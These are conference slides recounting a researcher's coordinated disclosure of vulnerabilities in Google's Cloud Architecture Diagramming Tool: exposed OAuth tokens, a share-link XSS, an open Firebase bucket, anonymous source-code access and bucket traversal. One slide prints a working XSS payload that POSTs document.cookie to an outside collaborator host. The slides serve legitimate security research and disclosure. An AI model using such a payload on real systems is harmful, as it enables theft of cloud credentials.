Sketchy Cheat Sheet Story of a Cloud Architecture Diagramming tool gone wrong Jakub Domeracki Sr. Cloud Security Engineer @ Egnyte Sketchy Cheat Sheet Story of a Cloud Architecture Diagramming tool gone wrong Jakub Domeracki Sr. Cloud Security Engineer @ Egnyte 

Preface This presentation goes over the details of a responsible disclosure process, which took place between November 2023 and July 2024. Throughout this period, I've reported a series of vulnerabilities & misconfigurations in Google's Architecture Diagramming Tool The severity of disclosed shortcomings & potential customer impact, resulted in said service getting quarantined indefinitely 🚧 Reference: https://cloud.google.com/blog/topics/developers-practitioners/introducing-google-cloud-architecture-diagramming-tool 

„Responsible disclosure, also known as coordinated vulnerability disclosure, is a process in which security researchers or ethical hackers discover vulnerabilities, weaknesses, or flaws in software, hardware, or systems and report them to the affected organization or vendor. The main goal of responsible disclosure is to improve security by addressing vulnerabilities before they can be exploited by malicious actors.” Responsible Disclosure Reference: https://www.hackerone.com/knowledge-center/why-you-need-responsible-disclosure-and-how-get-started 

Unplanned Bug Bounty hunt Reference: ADT/ADT User Guide - External.pdf It was a an early morning back in mid November 2023, when I decided that it's high time to prepare a diagram of a solution, that I was working on for quite some time at this point. As usual, I went ahead and opened mu goto Diagramming Tool -> https://googlecloudcheatsheet.withgoogle.com/architecture 

Breaking changes To my surprise, a dreaded Sign-in button welcomed me for the first time Soon it became obvious that singing in is not the only thing that changed in version 0.2.3 Some functionality like uploading diagrams to Google Drive stopped working while other features like Generate Terraform got introduced. Reference: https://twitter.com/rseroter/status/1725601467107876882 & https://twitter.com/pvergadia/status/1725217430547677607 

Backtracking from impact to attack scenario When I picked a GCE VM resource, the client-side JavaScript code validated that the configuration fields get populated. The expression on my face, when I clicked on the project dropdown list must have been priceless as approx. 300 Project IDs of the organization that I work for got listed, ready to be picked 😲 While in itself it might not seem like that big of a deal, I quickly realized that somehow this third-party app can query my employers GCP Org using my highly privileged, post-MFA credentials. // I had to figure out how this app got an Access Token without my explicit grant 

Dissecting the OAuth URL https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?gsiwebsdk=3&client_id=255437329003-lvuu 51v6jt8u43ee3u3r5opb33dk39jp.apps.googleusercontent.com&scope=openid%20profile%20email%20https%3A% 2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform.read-only&redirect_uri=storagerelay%3A%2F%2Fhttps%2 Fgooglecloudcheatsheet.withgoogle.com%3Fid%3Dauth612636&prompt=select_account&response_type=token&i nclude_granted_scopes=true&enable_granular_consent=true&service=lso&o2v=2&theme=mn&ddm=0&flowName=G eneralOAuthFlow Let’s focus on requested OAuth scopes: openid%20profile%20email%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform.read-only Reference: https://developers.google.com/workspace/guides/configure-oauth-consent 

Sensitive scopes Scope cloud-platform.read-only is sensitive, which means that an app must undergo security verification before being run in production. An Access Token scoped with it, would provide at maximum read-only access to 15 distinct Google Cloud APIs, most notably: ● App Engine Admin API ● BigQuery API ● Cloud Bigtable Admin API ● Cloud Storage JSON API ● Cloud Resource Manager API To verify scopes granted to a given token one can perform a simple check and that’s exactly what I did 👇 Reference: https://developers.google.com/identity/protocols/oauth2/production-readiness/sensitive-scope-verification 

Google Cloud IAM 101 Reference: https://github.com/priyankavergadia/GCPSketchnote/blob/main/images/IAMAuthorization.jpg 

How is the token stored I knew, that there were pretty much two viable options where the short lived token could be stored: 1. localStorage/sessionStorage 2. Set in a Cookie Quick check proved that option #2. was at play and what's important to note is that HttpOnly attribute was not set for the Cookie in question called accessToken. Reference: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#httponly This made some sense since the calls to Google APIs were made dynamically on the client-side via XMLHttpRequest, so Javascript had to have access to the Cookie's value. At the same, it also meant that any potential XSS would be high severity issue. 

Hunting for the XSS Reference: https://github.com/advisories/GHSA-v7v8-gjv7-ffmr & CVE-2023-26140 

Self-XSS Reference: https://developer.chrome.com/blog/self-xss 

Crafting the payload javascript://%0afetch('https://zsv3yx9zsfh8o5n7j842a52olfr6fz3o.oastify.com',%20{%20method:%20'POST',%20mode:%20' no-cors',%20body:document.cookie%20}) Reference: https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies Sometimes creating a proper payload that bypasses all security controls & satisfies all constraints at the some time, is the most difficult part of the research - this was not one of those instances 👇 

Proving exploitability Reference: https://semgrep.dev/docs/semgrep-supply-chain/glossary#exploitability (Un)fortunately the application provided a feature which made exploitation possible -> read-only share links ...The interface also lets you share your diagram with your team and colleagues or add it to documentation. 

Attack scenario diagram #1 Reference: https://storage.googleapis.com/sketchy_cheat_sheet/attack_scenario_one.png 

Nice catch! #1 🎉 Reference: https://youtu.be/IoXiXlCNoXg?list=PL590L5WQmH8dsxxz7ooJAgmijwOz0lh2H&t=700 

Digging into the share links feature Reference: https://web.archive.org/web/20231123113753js_/https://googlecloudcheatsheet.withgoogle.com/_next/static/chunks/pages/_app-d2f2d14076be3f86.js Soon after having received the initial reward from the VRP Panel, I decided to dig deeper into the link sharing feature itself. Having generated & shared a few of those myself, I had clear vested interest to find out. Some examples: ● https://googlecloudcheatsheet.withgoogle.com/architecture?link=588e8130-892a-11ee-8127-114320374db6 ● https://googlecloudcheatsheet.withgoogle.com/architecture?link=08bcd560-8931-11ee-8515-fd9ac1a981d6 ● https://googlecloudcheatsheet.withgoogle.com/architecture?link=9a2d1170-8983-11ee-a3fe-3bc7acaa8e95 what if I could access diagrams of other users? 🤔 

Firebase (in)secure storage Reference: https://firebase.google.com/docs/storage 

Firebase security rules Reference: https://firebase.google.com/docs/storage/security 

Secure-by-Default „Secure-by-Default products are those that are secure to use “out of the box” with little to no configuration changes necessary and security features available without additional cost. Together, these two principles move much of the burden of staying secure to manufacturers and reduce the chances that customers will fall victim to security incidents resulting from misconfigurations, insufficiently fast patching, or many other common issues.” Reference: https://www.cisa.gov/sites/default/files/2023-10/SecureByDesign_1025_508c.pdf 

Demo App repurposed Reference: https://www.geeksforgeeks.org/how-to-list-all-the-files-from-firebase-storage-using-reactjs/ 

Unauthorized access to 30k share links Reference: https://firebase.google.com/docs/storage/web/list-files#list_all_files https://firebasestorage.googleapis.com/v0/b/sustained-racer-323200.appspot.com/o?prefix=sharedLinks%2F&delimiter=%2F If only had I known that a simple partially url-encoded GET request would work as well… 

Mitigation Reference: https://storage.googleapis.com/sketchy_cheat_sheet/mitigation_diagram.png After a few months of no status updates, I decided to take a look at the state of affairs myself. As it turned out my initial PoC approach stopped working - I could still achieve self-XSS but when I attempted to generate a shear link, the payload was getting removed, This effectively broke the attack chain, or at least that’s what I thought. 

Surprising bypass Reference: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html#client-side-vs-server-side-validation // what if sanitization takes place only on the client-side & and there’s no check on the server-side? 🤔 

Reproduction steps Reference: https://bughunters.google.com/learn/improving-your-reports/how-to-report/6029551655976960/help-us-quickly-reproduce-the-bug 

Attack scenario diagram #2 Reference: https://jdomeracki.github.io/2024/11/09/sketchy_cheat_sheet/#attack-scenario-diagram-2 In the meantime impact has increased from gaining read-only to full GCP IAM permissions of the victim, due to the fact that the application now expects the cloud-platform OAuth Scope to be granted (broadest one there is when it comes to GCP APIs) https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?gsiwebsdk=3&client_id=255437329003-lvuu51v6jt8u43ee3u3r5opb33dk39jp.apps.googleusercontent.co m&scope=openid%20profile%20email%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&redirect_uri=storagerelay%3A%2F%2Fhttps%2Fgooglecloudc heatsheet.withgoogle.com%3Fid%3Dauth612636&prompt=select_account&response_type=token&include_granted_scopes=true&enable_granular_consent=true&service=lso&o2 v=2&theme=mn&ddm=0&flowName=GeneralOAuthFlow (still online) 

Poisoning predefined architectures Reference: ADT/ADT User Guide - External.pdf 

Reference: https://docs.excalidraw.com/docs/codebase/json-schema Overwriting objects 

Reference: https://docs.excalidraw.com/docs/codebase/json-schema Attack vectors 

Benevolent injection 

Benevolent injection 

Attack scenario diagram #3 Reference: https://jdomeracki.github.io/2024/11/09/sketchy_cheat_sheet/#attack-scenario-diagram-3 

Getting access to the source code Reference: https://gerrit-review.googlesource.com/Documentation/access-control.html Anonymous user could’ve read and git clone repositories from: https://atc-team.googlesource.com/ One could’ve also read all the git commit messages, comments etc.: https://atc-team-review.googlesource.com/ I was able to track changes meant to mitigate / fix issues I reported: https://issuetracker.google.com/issues/312687013 -> https://atc-team-review.googlesource.com/c/google-4-words/+/8280/1/hooks/useArchitecture.tsx https://issuetracker.google.com/issues/313685590 -> https://atc-team-review.googlesource.com/c/adt-terraform/+/8220 During typical black box testing, I stumbled upon an email of a Googler working on the project in scope Driven by curiosity I simply Google-searched their email and the results turned out to be quite surprising ie. indexed commits from a seemingly internal Gerrit instance. One of the projects contained the entire source code of: https://googlecloudcheatsheet.withgoogle.com/architecture 

Bucket traversal // what if I could fetch objects from buckets different than intended? 🤔 Reference: https://web.archive.org/web/20231123113753js_/https://googlecloudcheatsheet.withgoogle.com/_next/static/chunks/pages/_app-d2f2d14076be3f86.js 

Generate Terraform Reference: ADT/ADT User Guide - External.pdf 

Cloud Storage Signed URLs Reference: https://cloud.google.com/storage/docs/access-control/signed-urls 

White box assessment Reference: https://pkg.go.dev/cloud.google.com/go/storage#readme-example-usage // apparently no input validation + string concat // eg. googlecloudcheatsheet.withgoogle.com // hardcoded static value 

Unauthorized access to Terraform Artifacts 

Stumbling on a silently fixed vuln in Go Cloud Storage client library Reference: https://jdomeracki.github.io/2024/11/09/sketchy_cheat_sheet/#stumbling-on-an-n-day-in-go-cloud-storage-client-library One could reasonably postulate a following security invariant: For given instance of client.Bucket({bucket}).Object({object}).NewReader(ctx), no value of {object} should result in a download from a Bucket != {bucket} 

Attack scenario diagram #4 Reference: https://excalidraw.com/#json=qRya3OPGHv4sobYBw_BqT,ZARpkJA0myG2L15C88w9SA 

Full timeline Reference: https://jdomeracki.github.io/2024/11/09/sketchy_cheat_sheet/#full-timeline Nov 22, 2023: Initial submission of issu.ee/312687013 Nov 22, 2023: Status: Won't Fix (Not Reproducible) Nov 23, 2023: Clarification + full PoC Nov 23, 2023: 🎉 Nice catch! (P2,S2) Nov 28, 2023: Submitted report on the misconfigured Firebase Cloud Storage bucket allowing read & write operations issu.ee/313685590 Nov 30, 2023: 🎉 Nice catch! (P2,S2) Dec 27, 2023: issu.ee/313685590 status changed to fixed Mar 16, 2024: Found out that the bucket is still publicly readable & writable Mar 20, 2024: issu.ee/313685590 got reopened & assigned Mar 28, 2024: VRP Panel decided not to reward monetarily for the second time, but got a coupon for a cool hat instead Apr 06, 2024: Reported a bypass of the mitigation introduced somewhen in Q1 2024 and submitted a new report issu.ee/333194226 Apr 10, 2024: 🎉 Nice catch! (P2,S2) Jun 15, 2024: Ability to overwrite deployable architectures opens room for RCE in victim's GCP infrastructure issu.ee/347462501 Jun 26, 2024: 🎉 Nice catch! (P2,S2) Jun 26, 2024: Reported anonymous access to a Gerrit instance containing the backend source code issu.ee/349432799 Jun 27, 2024: Unauthorized access to a GCS bucket containing Terraform artifacts via a misconfigured Cloud Function issu.ee/349831037 Jun 27, 2024: 🎉 Nice catch! (P1,S1) Jul 02, 2024: 🎉 Nice catch! (P2,S2) Jul 03, 2024: https://googlecloudcheatsheet.withgoogle.com/architecture got taken down 🚧 

Key takeaways Reference: https://x.com/GoogleVRP/status/1859220491451392179 ● Following intuition and curiosity proved to be extremely valuable! ● Even Google makes blunders, don’t be intimidated and check yourself! 

To be continued? Reference: https://x.com/j_domeracki/status/1900463643990335573 Is this the end of the story? Well, not really 🫢 Part II should be publicly disclosed soon 🤞 

Thank you for attending! Contact information: https://x.com/j_domeracki https://www.linkedin.com/in/jakub-domeracki/ QR code pointing to my blogpost: https://jdomeracki.github.io/2024/11/09/sketchy_cheat_sheet